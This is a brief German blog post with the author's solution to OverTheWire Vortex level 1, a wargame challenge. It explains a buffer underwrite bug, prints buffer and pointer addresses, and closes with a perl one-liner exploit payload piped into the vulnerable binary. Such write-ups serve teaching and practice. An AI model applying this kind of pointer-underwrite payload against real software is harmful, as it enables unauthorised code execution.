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Overthewire Vortex Level1

Posted by on
Ok, Level1 fand ich jetzt schon kniffliger….
 
Stichwort: Buffer Underwrite (‘Buffer Underflow’) – http://cwe.mitre.org/data/definitions/124.html
 
Ein paar "printf" machen die Sache etwas deutlicher:
 
printf("Anfang buf: %x\n", (unsigned int)buf);
printf("Ende buf: %x\n",((unsigned int)buf + sizeof(buf)));
printf("ptr: %x\n",&ptr);

Anfang buf: bffff460
Ende buf: bffff660
ptr: bffff45c
 
Hiermeine Lösung



perl -e ‘print "\\"x257,"\xca","/"x4000, "whoami"’ | /vortex/level1

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